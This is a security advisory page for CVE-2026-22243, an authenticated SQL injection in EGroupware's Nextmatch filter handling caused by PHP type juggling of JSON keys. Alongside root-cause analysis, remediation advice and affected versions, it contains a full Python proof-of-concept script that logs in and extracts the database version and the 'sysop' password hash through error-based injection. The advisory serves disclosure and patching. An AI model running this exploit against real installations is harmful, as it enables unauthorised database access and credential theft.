CVE-2026-22243: EGroupware has SQL Injection in Nextmatch Filter Processing

Published Jan 28, 2026
·
Updated

Summary Critical Authenticated SQL Injection in Nextmatch Widget Filter Processing

A critical SQL Injection vulnerability exists in the core components of EGroupware, specifically in the Nextmatch filter processing. The flaw allows authenticated attackers to inject arbitrary SQL commands into the WHERE clause of database queries. This is achieved by exploiting a PHP type juggling issue where JSON decoding converts numeric strings into integers, bypassing the isint() security check used by the application.

Details Root Cause Analysis The vulnerability exists in how the database abstraction layer (Api\Db) and high-level storage classes (Api\Storage\Base, infologso) process the colfilter array used in "Nextmatch" widgets.

The application attempts to validate input using isint($key) to determine if an array key represents a raw SQL fragment that should be trusted. However, when processing JSON-based POST requests, PHP's jsondecode automatically converts numeric string keys (e.g., "0") into native integers.

Consequently, an attacker can send a JSON payload with an associative array containing numeric keys. The application interprets these keys as integers (isint returns true) and blindly appends the associated values - containing malicious SQL - directly to the query.

Vulnerable Code Locations

1. File: sources/egroupware/api/src/Db.php (Approx. Line 1776) Method: columndataimplode

php // In function columndataimplode elseif (isint($key) && $usekey===True) { if (empty($data)) continue; // VULNERABLE: $data is appended directly to SQL without sanitization $values[] = $data; }

2. File: sources/egroupware/api/src/Storage/Base.php (Approx. Line 1134) Method: parsesearch

php // In function parsesearch foreach($criteria as $col => $val) { // VULNERABLE: isint() returns true for JSON keys like "0" if (isint($col)) { $query[] = $val; } // ... }

PoC The vulnerability was on a local Docker instance and confirmed (read-only) on the public demo instance (demo.egroupware.net).

Automated Exploit Script: The following script automates the login, execid extraction, and data exfiltration via Error-Based SQL Injection.

python import requests import re import sys import urllib3

Suppress SSL warnings urllib3.disablewarnings(urllib3.exceptions.InsecureRequestWarning)

CLI Configuration BASEURL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware" LOGINUSER = sys.argv[2] if len(sys.argv) > 2 else "sysop" LOGINPASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session() session.verify = False session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" })

def extractforminputs(html): inputs = {} matches = re.findall(r'<input[^>]+>', html) for match in matches: namem = re.search(r'name="\'["\']', match) valuem = re.search(r'value="\'["\']', match) if namem: name = namem.group(1) value = valuem.group(1) if valuem else "" inputs[name] = value return inputs

def login(): print(f"[] Target: {BASEURL}") loginurl = f"{BASEURL}/login.php" try: print("[] Retrieving login form...") rget = session.get(loginurl, timeout=10) data = extractforminputs(rget.text) data.update({ "login": LOGINUSER, "passwd": LOGINPASS, "submitit": "Login", "passwdtype": "text" }) if 'cancel' in data: del data['cancel']

print(f"[] Attempting login as: {LOGINUSER}...") rpost = session.post(loginurl, data=data, allowredirects=True, timeout=15) if 'name="passwd"' in rpost.text and 'logout.php' not in rpost.text: print("[-] Login failed. Server returned login form.") return False print("[+] Login successful.") return True except Exception as e: print(f"[-] Critical error during login: {e}") return False

def getexecid(): print("[] Retrieving execid...") url = f"{BASEURL}/index.php?menuaction=addressbook.addressbookui.index" try: r = session.get(url, timeout=10) match = re.search(r'etemplateexecid(?:&quot;|"|\\")\s:\s(?:&quot;|"|\\")([^&"\\]+)', r.text) if match: eid = match.group(1) print(f"[+] ID found: {eid}") return eid else: if 'name="passwd"' in r.text: print("[-] Session expired or login failed.") else: print("[-] execid pattern not found in source code.") except Exception as e: print(f"[-] Error retrieving ID: {e}") return None

def runquery(eid, sql): full = "" url = f"{BASEURL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajaxgetrows" print(f"[] Executing SQLi: {sql}") for offset in range(1, 201, 30): chunksql = f"SUBSTRING(({sql}), {offset}, 30)" payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunksql}), 0x7e))" postdata = { "request": { "parameters": [eid, {"start": 0, "numrows": 1}, {"colfilter": {"0": payload}}] } } try: r = session.post(url, json=postdata, timeout=10) match = re.search(r"XPATH syntax error: '~(.)~'", r.text) if not match: match = re.search(r"~([^~]+)~", r.text) if match: chunk = match.group(1) if "..." in chunk: chunk = chunk.replace("...", "") full += chunk if len(chunk) < 1: break else: break except Exception as e: print(f"[-] Query error: {e}") break return full if full else "NO DATA / ERROR"

if name == "main": if login(): eid = getexecid() if eid: print("\n" + "="40) print(" SQL INJECTION RESULTS ") print("="40) print(f"[+] DB Version: {runquery(eid, 'SELECT @@version')}") print(f"[+] DB Name: {runquery(eid, 'SELECT database()')}") print(f"[+] DB User: {runquery(eid, 'SELECT user()')}") print("\n[] Retrieving hash for 'sysop' user (if exists):") res = runquery(eid, "SELECT CONCAT(accountlid,':',accountpwd) FROM egwaccounts WHERE accountlid='sysop'") print(f" > {res}") print("="40 + "\n")

Proof of Verification on demo.egroupware.net:

The script was executed against ther public demo to confirm exploitability in a production-like environment (read-only). <img width="773" height="393" alt="image" src="https://github.com/user-attachments/assets/ae97ea37-21fa-4718-98f5-f7f9696f3c2e" />

Impact: Attackers with low-privileged access can fully compromise the database. This allows for: Confidentiality Loss: Reading sensitive data (e.g., password hashes, session tokens, personal contact details, configuration secrets). Integrity Loss: Modifying or deleting arbitrary data within the application. Availability Loss: Potential to drop tables or corrupt data.

Remediation 1. Input Validation (Whitelisting) Do not rely solely on isint() for security decisions when handling external input, especially JSON data where keys can be numeric strings. Implement a strict whitelist (allowlist) of allowed column names for filtering in Nextmatch widgets. If the key/column is not in the whitelist, reject the request.

2. Parameter Binding Ensure all filter values are bound as parameters (prepared statements) rather than being concatenated directly into the SQL string.

3. Strict Type Checking When processing JSON input, ensure that keys are strictly checked against expected types (e.g., using === for strict comparison or filtervar) before being used in SQL generation logic.

Credits

Reported by Łukasz Rybak

Other sources

EGroupware has SQL Injection in Nextmatch Filter Processing

— Packagist

EGroupware is a Web based groupware server written in PHP. A SQL Injection vulnerability exists in the core components of EGroupware prior to versions 23.1.20260113 and 26.0.20260113, specifically in the Nextmatch filter processing. The flaw allows authenticated attackers to inject arbitrary SQL commands into the WHERE clause of database queries. This is achieved by exploiting a PHP type juggling issue where JSON decoding converts numeric strings into integers, bypassing the isint() security check used by the application. Versions 23.1.20260113 and 26.0.20260113 patch the vulnerability.

— MITRE

Affected Software

7 affected componentsFixes available
eGroupWare eGroupWare<23.1.20260113, <26.0.20260113
composer/egroupware/egroupware>=26.0.20251208<26.0.20260113
26.0.20260113
composer/egroupware/egroupware<23.1.20260113
23.1.20260113
eGroupWare eGroupWare<23.1.20260113
eGroupWare eGroupWare>=26.0.20251208<26.0.20260113
composer/egroupware/egroupware>=26.0.20251208, <26.0.20260113
26.0.20260113
composer/egroupware/egroupware<23.1.20260113
23.1.20260113

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/egroupware/egroupware to a version that resolves this vulnerability.

    Fixed in 26.0.20260113
  2. Upgrade

    Upgrade composer/egroupware/egroupware to a version that resolves this vulnerability.

    Fixed in 23.1.20260113
  3. Upgrade

    Upgrade EGroupware to a version that resolves this vulnerability.

    Fixed in 23.1.20260113
  4. Upgrade

    Upgrade EGroupware to a version that resolves this vulnerability.

    Fixed in 26.0.20260113
  5. Configuration

    Bind all filter values as parameters using prepared statements instead of concatenating them directly into SQL strings.

    EGroupware Nextmatch filter processing Parameter Binding = prepared statements
  6. Configuration

    Implement a strict whitelist of allowed column names for filtering and reject requests whose key or column is not whitelisted.

    EGroupware Nextmatch widgets Allowed filter columns = strict whitelist
  7. Configuration

    Strictly check JSON-derived array keys against the expected types before using them in SQL generation logic; do not rely solely on is_int().

    EGroupware JSON input handling Strict type checking for array keys = strict comparison or filter_var validation

Event History

Jan 28, 2026
CVE Published
via MITRE·04:05 PM
Data Sourced
via MITRE·04:05 PM
DescriptionWeakness
Data Sourced
via NVD·05:16 PM
DescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·08:39 PM
Data Sourced
via GitHub·08:39 PM
DescriptionWeaknessAffected Software
Data Sourced
via Packagist·08:39 PM
DescriptionSeverityAffected Software
Apr 11, 2026
Exploit Published
via GitHub·07:13 PM

Frequently Asked Questions

1

What is the severity of CVE-2026-22243?

CVE-2026-22243 is classified as a high severity SQL Injection vulnerability.

2

How do I fix CVE-2026-22243?

To fix CVE-2026-22243, upgrade EGroupware to versions 23.1.20260113 or 26.0.20260113 or later.

3

What impact does CVE-2026-22243 have on EGroupware?

CVE-2026-22243 may allow an attacker to execute arbitrary SQL queries in the database.

4

Which versions of EGroupware are affected by CVE-2026-22243?

CVE-2026-22243 affects EGroupware versions prior to 23.1.20260113 and 26.0.20260113.

5

Is there a workaround for CVE-2026-22243 if I cannot update immediately?

There is no recommended workaround for CVE-2026-22243; the best solution is to apply the security update.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203